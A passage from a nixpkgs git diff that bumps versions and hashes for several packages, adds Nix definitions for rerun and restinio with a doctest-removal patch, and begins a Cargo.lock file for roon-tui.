"sha256-X/G6osOHCBidKZG/Y2nmHadifDacJhjBIc7WYrUCPn8="; + }; + + propagatedBuildInputs = with python3.pkgs; [ requests python-dateutil ]; + + meta = with lib; { + description = "A Python34 program that implements a command line tool for accessing the Redfish API"; + homepage = "https://github.com/DMTF/Redfishtool"; + license = licenses.bsd3; + maintainers = with maintainers; [ jfvillablanca ]; + mainProgram = "redfishtool"; + }; +} diff --git a/pkgs/by-name/re/redocly-cli/package.nix b/pkgs/by-name/re/redocly-cli/package.nix index aa1c49cae249d..fd3606c1e4c84 100644 --- a/pkgs/by-name/re/redocly-cli/package.nix +++ b/pkgs/by-name/re/redocly-cli/package.nix @@ -6,16 +6,16 @@ buildNpmPackage rec { pname = "redocly-cli"; - version = "1.5.0"; + version = "1.6.0"; src = fetchFromGitHub { owner = "Redocly"; repo = "redocly-cli"; rev = "@redocly/cli@${version}"; - hash = "sha256-Wi3IxPeNqD1s1Q0Pi9cCus6jCQM0noBTHIAp9HUSpZk="; + hash = "sha256-xoehTTpXT/9tlL0VoDQwKbyUnNGeMyH+VBIVLiz69ko="; }; - npmDepsHash = "sha256-BcjQ9z2i1YBt6lBqgkRcv29P/WZeuGjVSeVmekaFugM="; + npmDepsHash = "sha256-9fI9P96iNmHrhjbgjePpRnknFe3yIjkirOoIMkVGkH4="; npmBuildScript = "prepare"; diff --git a/pkgs/by-name/re/renode-dts2repl/package.nix b/pkgs/by-name/re/renode-dts2repl/package.nix index 4726ee47421ac..b6af65fa0b388 100644 --- a/pkgs/by-name/re/renode-dts2repl/package.nix +++ b/pkgs/by-name/re/renode-dts2repl/package.nix @@ -6,14 +6,14 @@ python3.pkgs.buildPythonApplication { pname = "renode-dts2repl"; - version = "unstable-2024-02-08"; + version = "unstable-2024-02-29"; pyproject = true; src = fetchFromGitHub { owner = "antmicro"; repo = "dts2repl"; - rev = "6e8ab15760db19614122bd54c8bb39217fbcb318"; - hash = "sha256-bJFqAcEdjMyHSk0iji4jc0Vw45zEAmCqDWjAOIZfXWs="; + rev = "a53f2f01039a462bdd7322d1fb315edd95033b6d"; + hash = "sha256-DsHNS9pZu3ZWM3teG3pUi0EM+8znmCPTSGuzGmJ4IgU="; }; nativeBuildInputs = [ diff --git a/pkgs/by-name/re/renode-unstable/package.nix b/pkgs/by-name/re/renode-unstable/package.nix index 680df83aa0930..cf31a1208b228 100644 --- a/pkgs/by-name/re/renode-unstable/package.nix +++ b/pkgs/by-name/re/renode-unstable/package.nix @@ -7,10 +7,10 @@ inherit buildUnstable; }).overrideAttrs (finalAttrs: _: { pname = "renode-unstable"; - version = "1.14.0+20240212git8eb88bb9c"; + version = "1.14.0+20240305gitcec51e561"; src = fetchurl { url = "https://builds.renode.io/renode-${finalAttrs.version}.linux-portable.tar.gz"; - hash = "sha256-WwsIiyKF6hskv6NSTPiyY80nE3q97xzH359wFmN0OkU="; + hash = "sha256-dXT4C/s7Aygqhq0U6MiPsQL8ZvjPfTzKYuhA6aRQKlI="; }; }) diff --git a/pkgs/by-name/re/rerun/0001-re_space_view_time_series-utils-patch-out-doctests-w.patch b/pkgs/by-name/re/rerun/0001-re_space_view_time_series-utils-patch-out-doctests-w.patch new file mode 100644 index 0000000000000..d43ae339641eb --- /dev/null +++ b/pkgs/by-name/re/rerun/0001-re_space_view_time_series-utils-patch-out-doctests-w.patch @@ -0,0 +1,31 @@ +From f6c5dde13a39bd149d892162e2ef72267f4c4a57 Mon Sep 17 00:00:00 2001 +From: Someone Serge <sergei.kozlukov@aalto.fi> +Date: Thu, 15 Feb 2024 18:05:16 +0000 +Subject: [PATCH] re_space_view_time_series: utils: patch out doctests w + unstable features + +--- + crates/re_space_view_time_series/src/util.rs | 7 +------ + 1 file changed, 1 insertion(+), 6 deletions(-) + +diff --git a/crates/re_space_view_time_series/src/util.rs b/crates/re_space_view_time_series/src/util.rs +index 83ce5362f..59d3b9734 100644 +--- a/crates/re_space_view_time_series/src/util.rs ++++ b/crates/re_space_view_time_series/src/util.rs +@@ -288,12 +288,7 @@ fn add_series_runs( + /// is finite `x == x.next_up().next_down()` also holds. + /// + /// ```rust +-/// #![feature(float_next_up_down)] +-/// // f64::EPSILON is the difference between 1.0 and the next number up. +-/// assert_eq!(1.0f64.next_up(), 1.0 + f64::EPSILON); +-/// // But not for most numbers. +-/// assert!(0.1f64.next_up() < 0.1 + f64::EPSILON); +-/// assert_eq!(9007199254740992f64.next_up(), 9007199254740994.0); ++/// // PATCHED OUT THE UNSTABLE float_next_up_down + /// ``` + /// + /// [`NEG_INFINITY`]: f64::NEG_INFINITY +-- +2.43.0 + diff --git a/pkgs/by-name/re/rerun/package.nix b/pkgs/by-name/re/rerun/package.nix new file mode 100644 index 0000000000000..9c96b86f64c9f --- /dev/null +++ b/pkgs/by-name/re/rerun/package.nix @@ -0,0 +1,123 @@ +{ + lib, + rustPlatform, + fetchFromGitHub, + pkg-config, + stdenv, + binaryen, + rustfmt, + lld, + darwin, + freetype, + glib, + gtk3, + libxkbcommon, + openssl, + protobuf, + vulkan-loader, + wayland, + python3Packages, +}: + +rustPlatform.buildRustPackage rec { + pname = "rerun"; + version = "0.13.0"; + + src = fetchFromGitHub { + owner = "rerun-io"; + repo = "rerun"; + rev = version; + hash = "sha256-HgzzuvCpzKgWC8it0PSq62hBjjqpdgYtQQ50SNbr3do="; + }; + patches = [ + # Disables a doctest that depends on a nightly feature + ./0001-re_space_view_time_series-utils-patch-out-doctests-w.patch + ]; + + cargoHash = "sha256-qvnkOlcjADV4b+JfFAy9yNaZGaf0ZO7hh9HBg5XmPi0="; + + nativeBuildInputs = [ + (lib.getBin binaryen) # wasm-opt + + # @SomeoneSerge: Upstream suggests `mold`, but I didn't get it to work + lld + + pkg-config + protobuf + rustfmt + ]; + + buildInputs = + [ + freetype + glib + gtk3 + (lib.getDev openssl) + libxkbcommon + vulkan-loader + ] + ++ lib.optionals stdenv.isDarwin [ + darwin.apple_sdk.frameworks.AppKit + darwin.apple_sdk.frameworks.CoreFoundation + darwin.apple_sdk.frameworks.CoreGraphics + darwin.apple_sdk.frameworks.CoreServices + darwin.apple_sdk.frameworks.Foundation + darwin.apple_sdk.frameworks.IOKit + darwin.apple_sdk.frameworks.Metal + darwin.apple_sdk.frameworks.QuartzCore + darwin.apple_sdk.frameworks.Security + ] + ++ lib.optionals stdenv.isLinux [ (lib.getLib wayland) ]; + + env.CARGO_TARGET_WASM32_UNKNOWN_UNKNOWN_LINKER = "lld"; + + addDlopenRunpaths = map (p: "${lib.getLib p}/lib") ( + lib.optionals stdenv.hostPlatform.isLinux [ + libxkbcommon + vulkan-loader + wayland + ] + ); + + addDlopenRunpathsPhase = '' + elfHasDynamicSection() { + patchelf --print-rpath "$1" >& /dev/null + } + + while IFS= read -r -d $'\0' path ; do + elfHasDynamicSection "$path" || continue + for dep in $addDlopenRunpaths ; do + patchelf "$path" --add-rpath "$dep" + done + done < <( + for o in $(getAllOutputNames) ; do + find "''${!o}" -type f -and "(" -executable -or -iname '*.so' ")" -print0 + done + ) + ''; + + postPhases = lib.optionals stdenv.hostPlatform.isLinux [ "addDlopenRunpathsPhase" ]; + + cargoTestFlags = [ + "-p" + "rerun" + "--workspace" + "--exclude=crates/rerun/src/lib.rs" + ]; + + passthru.tests = { + inherit (python3Packages) rerun-sdk; + }; + + meta = with lib; { + description = "Visualize streams of multimodal data. Fast, easy to use, and simple to integrate. Built in Rust using egui"; + homepage = "https://github.com/rerun-io/rerun"; + changelog = "https://github.com/rerun-io/rerun/blob/${src.rev}/CHANGELOG.md"; + license = with licenses; [ + asl20 + mit + ]; + maintainers = with maintainers; [ SomeoneSerge ]; + mainProgram = "rerun"; + }; +} diff --git a/pkgs/by-name/re/restinio_0_6/package.nix b/pkgs/by-name/re/restinio_0_6/package.nix new file mode 100644 index 0000000000000..9472bd0a554e7 --- /dev/null +++ b/pkgs/by-name/re/restinio_0_6/package.nix @@ -0,0 +1,29 @@ +{ lib, stdenvNoCC, fetchurl }: + +stdenvNoCC.mkDerivation rec { + pname = "restinio"; + version = "0.6.19"; + + src = fetchurl { + url = "https://github.com/Stiffstream/restinio/releases/download/v.${version}/${pname}-${version}.tar.bz2"; + hash = "sha256-fyHuvrlm4XDWq1TpsZiskn1DkJASFzngN8D6O7NnskA="; + }; + + sourceRoot = "."; + + installPhase = '' + runHook preInstall + + mkdir -p $out/include + mv restinio-*/dev/restinio $out/include + + runHook postInstall + ''; + + meta = with lib; { + description = "Cross-platform, efficient, customizable, and robust asynchronous HTTP/WebSocket server C++14 library"; + homepage = "https://github.com/Stiffstream/restinio"; + license = licenses.bsd3; + platforms = platforms.all; + }; +} diff --git a/pkgs/by-name/rl/rl_json/package.nix b/pkgs/by-name/rl/rl_json/package.nix index 3a19df59d93ac..81076dd07677d 100644 --- a/pkgs/by-name/rl/rl_json/package.nix +++ b/pkgs/by-name/rl/rl_json/package.nix @@ -5,15 +5,15 @@ , tcl }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "rl_json"; - version = "0.14"; + version = "0.15.1"; src = fetchFromGitHub { owner = "RubyLane"; repo = "rl_json"; - rev = version; - hash = "sha256-7xjZQ8F8czrkr7p2Xg1xAZRCsDpiWXHXVxPhG0f9PNg="; + rev = finalAttrs.version; + hash = "sha256-FkOsdOHPE75bSkKw3cdaech6jAv0f/RJ9tgRVzPSAdA="; fetchSubmodules = true; }; @@ -39,6 +39,8 @@ stdenv.mkDerivation rec { values, and comparable in speed. ''; maintainers = with lib.maintainers; [ fgaz ]; - platforms = lib.platforms.all; + platforms = tcl.meta.platforms; + # From version 0.15.1: 'endian.h' file not found + broken = stdenv.isDarwin; }; -} +}) diff --git a/pkgs/by-name/ro/robo/package.nix b/pkgs/by-name/ro/robo/package.nix index 3caf4f7ee5b4d..7310488376dd7 100644 --- a/pkgs/by-name/ro/robo/package.nix +++ b/pkgs/by-name/ro/robo/package.nix @@ -6,16 +6,16 @@ php.buildComposerProject (finalAttrs: { pname = "robo"; - version = "4.0.4"; + version = "4.0.6"; src = fetchFromGitHub { owner = "consolidation"; repo = "robo"; rev = finalAttrs.version; - hash = "sha256-4sQc3ec34F5eBy9hquTqmzUgvFCTlml3LJdP39gPim4="; + hash = "sha256-rpCs24Q15XM4BdW1+IfysFR/8/ZU4o5b4MyJL48uDaU="; }; - vendorHash = "sha256-QX7AFtW6Vm9P0ABOuTs1U++nvWBzpvtxhTbK40zDYqc="; + vendorHash = "sha256-Ul8XjH0Nav37UVpNQslOkF2bkiyqUAEZiIbcSW2tGkQ="; meta = { changelog = "https://github.com/consolidation/robo/blob/${finalAttrs.version}/CHANGELOG.md"; diff --git a/pkgs/by-name/ro/roon-tui/Cargo.lock b/pkgs/by-name/ro/roon-tui/Cargo.lock new file mode 100644 index 0000000000000..fa20b80d0bd77 --- /dev/null +++ b/pkgs/by-name/ro/roon-tui/Cargo.lock @@ -0,0 +1,1509 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "addr2line" +version = "0.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4fa78e18c64fce05e902adecd7a5eed15a5e0a3439f7b0e169f0252214865e3" +dependencies = [ + "gimli", +] + +[[package]] +name = "adler" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" + +[[package]] +name = "ahash" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91429305e9f0a25f6205c5b8e0d2db09e0708a7a6df0f42212bb56c32c8ac97a" +dependencies = [ + "cfg-if", + "once_cell", + "version_check", + "zerocopy", +] + +[[package]] +name = "aho-corasick" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "43f6cb1bf222025340178f382c426f13757b2960e89779dfcb319c32542a5a41" +dependencies = [ + "memchr", +] + +[[package]] +name = "allocator-api2" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0942ffc6dcaadf03badf6e6a2d0228460359d5e34b57ccdc720b7382dfbd5ec5" + +[[package]] +name = "android-tzdata" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0" + +[[package]] +name = "android_system_properties" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" +dependencies = [ + "libc", +] + +[[package]] +name = "anstream" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1f58811cfac344940f1a400b6e6231ce35171f614f26439e80f8c1465c5cc0c" +dependencies = [ + "anstyle", + "anstyle-parse", + "anstyle-query", + "anstyle-wincon", + "colorchoice", + "utf8parse", +] + +[[package]] +name = "anstyle" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b84bf0a05bbb2a83e5eb6fa36bb6e87baa08193c35ff52bbf6b38d8af2890e46" + +[[package]] +name = "anstyle-parse" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "938874ff5980b03a87c5524b3ae5b59cf99b1d6bc836848df7bc5ada9643c333" +dependencies = [ + "utf8parse", +] + +[[package]] +name = "anstyle-query" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ca11d4be1bab0c8bc8734a9aa7bf4ee8316d462a08c6ac5052f888fef5b494b" +dependencies = [ + "windows-sys 0.48.0", +] + +[[package]] +name = "anstyle-wincon" +version = "2.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "58f54d10c6dfa51283a066ceab3ec1ab78d13fae00aa49243a45e4571fb79dfd" +dependencies = [ + "anstyle", + "windows-sys 0.48.0", +] + +[[package]] +name = "any_ascii" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ea50b14b7a4b9343f8c627a7a53c52076482bd4bdad0a24fd3ec533ed616cc2c" + +[[package]] +name = "autocfg" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" + +[[package]] +name = "backtrace" +version = "0.3.68" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4319208da049c43661739c5fade2ba182f09d1dc2299b32298d3a31692b17e12" +dependencies = [ + "addr2line", + "cc", + "cfg-if", + "libc", + "miniz_oxide", + "object", + "rustc-demangle", +] + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "630be753d4e58660abd17930c71b647fe46c27ea6b63cc59e1e3851406972e42" + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "bumpalo" +version = "3.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec" + +[[package]] +name = "byteorder" +version = "1.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610" + +[[package]] +name = "bytes" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b700ce4376041dcd0a327fd0097c41095743c4c8af8887265942faf1100bd040" + +[[package]] +name = "cassowary" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df8670b8c7b9dae1793364eafadf7239c40d669904660c5960d74cfd80b46a53" + +[[package]] +name = "cc" +version = "1.0.79" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "50d30906286121d95be3d479533b458f87493b30a4b5f79a607db8f5d11aa91f" + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +[[package]] +name = "chrono" +version = "0.4.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f2c685bad3eb3d45a01354cedb7d5faa66194d1d58ba6e267a8de788f79db38" +dependencies = [ + "android-tzdata", + "iana-time-zone", + "num-traits", + "windows-targets 0.48.1", +] + +[[package]] +name = "clap" +version = "4.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1d7b8d5ec32af0fadc644bf1fd509a688c2103b185644bb1e29d164e0703136" +dependencies = [ + "clap_builder", + "clap_derive", +] + +[[package]] +name = "clap_builder" +version = "4.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5179bb514e4d7c2051749d8fcefa2ed6d06a9f4e6d69faf3805f5d80b8cf8d56" +dependencies = [ + "anstream", + "anstyle", + "clap_lex", + "strsim", +] + +[[package]] +name = "clap_derive" +version = "4.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0862016ff20d69b84ef8247369fabf5c008a7417002411897d40ee1f4532b873" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn 2.0.38", +] + +[[package]] +name = "clap_lex" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd7cc57abe963c6d3b9d8be5b06ba7c8957a930305ca90304f24ef040aa6f961" + +[[package]] +name = "colorchoice" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7" + +[[package]] +name = "core-foundation-sys" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e496a50fda8aacccc86d7529e2c1e0892dbd0f898a6b5645b5561b89c3210efa" + +[[package]] +name = "cpufeatures" +version = "0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a17b76ff3a4162b0b27f354a0c87015ddad39d35f9c0c36607a3bdd175dde1f1" +dependencies = [ + "libc", +] + +[[package]] +name = "crossterm" +version = "0.27.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f476fe445d41c9e991fd07515a6f463074b782242ccf4a5b7b1d1012e70824df" +dependencies = [ + "bitflags 2.3.3", + "crossterm_winapi", + "libc", + "mio", + "parking_lot", + "signal-hook", + "signal-hook-mio", + "winapi", +] + +[[package]] +name = "crossterm_winapi" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "acdd7c62a3665c7f6830a51635d9ac9b23ed385797f70a83bb8bafe9c572ab2b" +dependencies = [ + "winapi", +] + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "data-encoding" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2e66c9d817f1720209181c316d28635c050fa304f9c79e47a520882661b7308" + +[[package]] +name = "deranged" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f32d04922c60427da6f9fef14d042d9edddef64cb9d4ce0d64d0685fbeb1fd3" +dependencies = [ + "powerfmt", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", +] + +[[package]] +name = "either" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a26ae43d7bcc3b814de94796a5e736d4029efb0ee900c12e2d54c993ad1a1e07" + +[[package]] +name = "eyre" +version = "0.6.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c2b6b5a29c02cdc822728b7d7b8ae1bab3e3b05d44522770ddd49722eeac7eb" +dependencies = [ + "indenter", + "once_cell", +] + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "form_urlencoded" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a62bc1cf6f830c2ec14a513a9fb124d0a213a629668a4186f329db21fe045652" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "futures-core" +version = "0.3.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4bca583b7e26f571124fe5b7561d49cb2868d79116cfa0eefce955557c6fee8c" + +[[package]] +name = "futures-macro" +version = "0.3.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "89ca545a94061b6365f2c7355b4b32bd20df3ff95f02da9329b34ccc3bd6ee72" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.38", +] + +[[package]] +name = "futures-sink" +version = "0.3.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f43be4fe21a13b9781a69afa4985b0f6ee0e1afab2c6f454a8cf30e2b2237b6e" + +[[package]] +name = "futures-task" +version = "0.3.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76d3d132be6c0e6aa1534069c705a74a5997a356c0dc2f86a47765e5617c5b65" + +[[package]] +name = "futures-util" +version = "0.3.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26b01e40b772d54cf6c6d721c1d1abd0647a0106a12ecaa1c186273392a69533" +dependencies = [ + "futures-core", + "futures-macro", + "futures-sink", + "futures-task", + "pin-project-lite", + "pin-utils", + "slab", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be4136b2a15dd319360be1c07d9933517ccf0be8f16bf62a3bee4f0d618df427" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "gimli" +version = "0.27.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6c80984affa11d98d1b88b66ac8853f143217b399d3c74116778ff8fdb4ed2e" + +[[package]] +name = "hashbrown" +version = "0.14.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f93e7192158dbcda357bdec5fb5788eebf8bbac027f3f33e719d29135ae84156" +dependencies = [ + "ahash", + "allocator-api2", +] + +[[package]] +name = "heck" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" + +[[package]] +name = "hermit-abi" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "443144c8cdadd93ebf52ddb4056d257f5b52c04d3c804e657d19eb73fc33668b" + +[[package]] +name = "http" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b32afd38673a8016f7c9ae69e5af41a58f81b1d31689040f2f1959594ce194ea" +dependencies = [ + "bytes", + "fnv", + "itoa", +] + +[[package]] +name = "httparse" +version = "1.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d897f394bad6a705d5f4104762e116a75639e470d80901eed05a860a95cb1904" + +[[package]] +name = "iana-time-zone" +version = "0.1.58" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8326b86b6cff230b97d0d312a6c40a60726df3332e721f72a1b035f451663b20" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "wasm-bindgen", + "windows-core", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + +[[package]] +name = "idna" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7d20d6b07bfbc108882d88ed8e37d39636dcc260e15e30c45e6ba089610b917c" +dependencies = [ + "unicode-bidi", + "unicode-normalization", +] + +[[package]] +name = "if-addrs" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ad1fe622fcc3ccd2bc6d08f7485577535a15af46be880abb7535e5f3a4c322d" +dependencies = [ + "libc", + "windows-sys 0.52.0", +] + +[[package]] +name = "indenter" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce23b50ad8242c51a442f3ff322d56b02f08852c77e4c0b4d3fd684abc89c683" + +[[package]] +name = "indoc" +version = "2.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c785eefb63ebd0e33416dfcb8d6da0bf27ce752843a45632a67bf10d4d4b5c4" + +[[package]] +name = "itertools" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25db6b064527c5d482d0423354fcd07a89a2dfe07b67892e62411946db7f07b0" +dependencies = [ + "either", +] + +[[package]] +name = "itoa" +version = "1.0.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "af150ab688ff2122fcef229be89cb50dd66af9e01a4ff320cc137eecc9bacc38" + +[[package]] +name = "js-sys" +version = "0.3.58" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3fac17f7123a73ca62df411b1bf727ccc805daa070338fda671c86dac1bdc27" +dependencies = [ + "wasm-bindgen", +] + +[[package]] +name = "lazy_static" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" + +[[package]] +name = "libc" +version = "0.2.147" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4668fb0ea861c1df094127ac5f1da3409a82116a4ba74fca2e58ef927159bb3" + +[[package]] +name = "lock_api" +version = "0.4.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1cc9717a20b1bb222f333e6a92fd32f7d8a18ddc5a3191a11af45dcbf4dcd16" +dependencies = [ + "autocfg", + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b06a4cde4c0f271a446782e3eff8de789548ce57dbc8eca9292c27f4a42004b4" + +[[package]] +name = "lru" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1efa59af2ddfad1854ae27d75009d538d0998b4b2fd47083e743ac1a10e46c60" +dependencies = [ + "hashbrown", +] + +[[package]] +name = "memchr" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d" + +[[package]] +name = "miniz_oxide" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7810e0be55b428ada41041c41f32c9f1a42817901b4ccf45fa3d4b6561e74c7" +dependencies = [ + "adler", +] + +[[package]] +name = "mio" +version = "0.8.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "927a765cd3fc26206e66b296465fa9d3e5ab003e651c1b3c060e7956d96b19d2" +dependencies = [ + "libc", + "log", + "wasi", + "windows-sys 0.48.0", +] + +[[package]] +name = "num-traits" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39e3200413f237f41ab11ad6d161bc7239c84dcb631773ccd7de3dfe4b5c267c" +dependencies = [ + "autocfg", +] + +[[package]] +name = "num_cpus" +version = "1.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43" +dependencies = [ + "hermit-abi", + "libc", +] + +[[package]] +name = "num_threads" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2819ce041d2ee131036f4fc9d6ae7ae125a3a40e97ba64d04fe799ad9dabbb44" +dependencies = [ + "libc", +] + +[[package]] +name = "object" +version = "0.31.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8bda667d9f2b5051b8833f59f3bf748b28ef54f850f4fcb389a252aa383866d1" +dependencies = [ + "memchr", +] + +[[package]] +name = "once_cell" +version = "1.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d" + +[[package]] +name = "parking_lot" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93f00c865fe7cabf650081affecd3871070f26767e7b2070a3ffae14c654b447" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "smallvec", + "windows-targets 0.48.1", +] + +[[package]] +name = "paste" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "de3145af08024dea9fa9914f381a17b8fc6034dfb00f3a84013f7ff43f29ed4c" + +[[package]] +name = "percent-encoding" +version = "2.3.0" +source = 